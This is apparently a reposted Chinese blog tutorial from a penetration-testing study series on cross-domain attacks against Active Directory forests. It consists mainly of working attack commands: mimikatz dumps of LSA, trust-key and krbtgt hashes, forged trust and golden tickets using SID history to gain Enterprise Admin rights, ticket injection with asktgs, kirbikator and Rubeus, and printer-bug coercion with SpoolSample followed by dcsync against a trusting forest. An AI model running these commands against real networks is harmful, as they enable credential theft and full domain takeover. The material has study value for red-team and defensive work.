前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网学习笔记 | 30、跨域安全(完结)

内网学习笔记 | 30、跨域安全(完结)

作者头像
TeamsSix
发布2022-09-20 18:56:38
8380
发布2022-09-20 18:56:38
举报

0、前言

常见的跨域攻击方法有以下几种:

i、利用常规的渗透方法,比如 Web 漏洞

ii、利用已知散列值进行哈希传递或票据传递,因为有可能域内的密码是通用的

iii、利用域信任关系

这里主要看第三种:域信任关系

当有多个域时,不同的域之间想进行资源共享,就需要用到域信任,只有当域之间互相信任后,才能进行资源共享。

域信任关系可分为单向信任和双向信任。单向信任即 A 信任 B,但 B 不信任 A,双向信任同理。在创建子域时,系统会在新的子域和父域之间自动创建双向可传递信任关系。

域信任关系又可分为内部信任和外部信任。内部信任是指在同一个林中域之间的信任关系,这种信任关系是可传递的;外部信任指不同林之间域的信任关系,这种信任关系要视林间信任类型来判断是不是可传递。

在 Windows 操作系统中,只有 Domain Admins 组中的用户可以管理域信任关系;Enterprise Admins 组(仅出现在林的根域中)的成员对林中所有域拥有完全控制权限,默认情况下,该组包含林中所有域控上具有 administrators 权限的成员。

1、获取域信息

这里使用工具 lg 进行域内信息的收集,lg 是一款用 C++ 编写的用于管理本地用户组和域本地用户组的命令行工具,可用它来收集远程主机用户和组的信息。

枚举 teamssix 域中的用户组

代码语言:javascript
复制
lg.exe teamssix\.

枚举远程计算机的用户组,如果提示拒绝访问,说明没有信任关系

代码语言:javascript
复制
lg.exe \\dc

枚举远程计算机的用户名

代码语言:javascript
复制
lg.exe \\dc -lu

枚举远程系统中全部用户的 SID

代码语言:javascript
复制
lg.exe \\dc -lu -sidsout

枚举远程系统指定组中的所有成员的 SID

代码语言:javascript
复制
lg.exe \\dc\administrators -lu -sidsout

2、利用域信任密钥获取目标域权限

这里环境信息为:

父域的域控:dc.teamssix.com

子域的域控:subdc.sub.teamssix.com

子域内的计算机:user4.sub.teamssix.com

子域内的普通用户:user4

在子域的域控中使用 mimikatz 获取需要的信息

代码语言:javascript
复制
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:administrator" "lsadump::trust /patch" exit

得到当前域的 SID 、父域的 SID 和子域域管 NTLM 哈希后,在子域的普通用户机器上利用 mimikatz 制作信任票据

这里的 sids 是父域的 sid,sids 后的 519 表示创建的用户属于父域的管理员组

代码语言:javascript
复制
mimikatz.exe "kerberos::golden /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /rc4:5bfd59b5e1f78a794f714af07eac869f /user:administrator /service:krbtgt /target:teamssix.com /ticket:subdc_administrator.kirbi" exit

利用刚刚制作的信任票据获取目标域中目标服务的 TGS 并保存到文件中

代码语言:javascript
复制
asktgs subdc_administrator.kirbi cifs/dc.teamssix.com

将获取的 TGS 票据注入到内存中

代码语言:javascript
复制
kirbikator lsa cifs.dc.teamssix.com.kirbi

使用 dir 访问目标域控

代码语言:javascript
复制
dir \\dc.teamssix.com\c$

3、利用 krbtgt 散列值获取目标域的权限

如果攻击者获取了林内任意域的 krbtgt 散列值,就可以使用 sidHistory 获得该林的完整权限。

首先获取当前子域和父域的 SID 值,可以使用以下工具或命令

代码语言:javascript
复制
wmic useraccount get caption,sid
whoami /user
adfind.exe -sc u:user4 | findstr Sid
Get-DomainSID sub.teamssix.com  # PowerView 里的命令

接下来获取子域的 krbtgt 的哈希值,使用 mimikatz 即可

代码语言:javascript
复制
mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit

在子域普通用户权限的计算机中构造黄金票据

代码语言:javascript
复制
mimikatz "Kerberos::golden /user:Administrator /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /krbtgt:b53a5c7c51648f033b96971e7ae4ee45 /ptt" exit

4、利用无约束委派和 MS-RPRN 获取信任林权限

如果已经获取了域林中某个域控权限,或者配置了无约束委派的任何服务器的权限,那么就可以使用 MS RPRN 的 RpcRemoteFindPrinterChangeNotification(Ex) 方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的哈希值。

假设这里获取了 teamssix.com 域的域控权限,且 0day.org 与 teamssix.com 域有林信任关系

首先在 teamssix.com 的域控上监听身份认证请求

代码语言:javascript
复制
rubeus.exe monitor /interval:5 /filteruser:OWA2010SP3$
代码语言:javascript
复制
interval: 用于设置监控的时间间隔
filteruser: 用于指定需要关注的主机,这里的 OWA2010SP3 是 0day.org 域控的主机名

开启监听后,使用 SpoolSample 工具让 OWA2010SP3.0day.org 向 dc.teamssix.com 发送身份认证请求

代码语言:javascript
复制
SpoolSample.exe OWA2010SP3.0day.org dc.teamssix.com

获得票据后,使用 rubeus 将票据注入内存

代码语言:javascript
复制
rubeus.exe ptt /ticket:<TGT 票据>

使用 mimikatz 获取目标的 krbtgt 散列值

代码语言:javascript
复制
mimikatz.exe "lsadump::dcsync /domain:0day.org /user:0day\krbtgt" exit

接下来,构造黄金票据并将其注入内存,就能够获得 0day.org 域控的权限了

代码语言:javascript
复制
mimikatz "Kerberos::golden /user:Administrator /domain:0day.org /sid:5-1-5-21-1812920812-2335051732-3517558806 /rc4:b53a5c8c51648f053b96971e7ae4ee25 /ptt" exit

参考文章: https://blog.csdn.net/qq_34640691/article/details/111881910 原文链接: https://teamssix.com/211022-122217.html


往期推荐

Kerberos 协议详解与利用

内网学习笔记 | 29、白银票据

内网学习笔记 | 28、黄金票据

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-10-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 TeamsSix 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0、前言
  • 1、获取域信息
  • 2、利用域信任密钥获取目标域权限
  • 3、利用 krbtgt 散列值获取目标域的权限
  • 4、利用无约束委派和 MS-RPRN 获取信任林权限
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档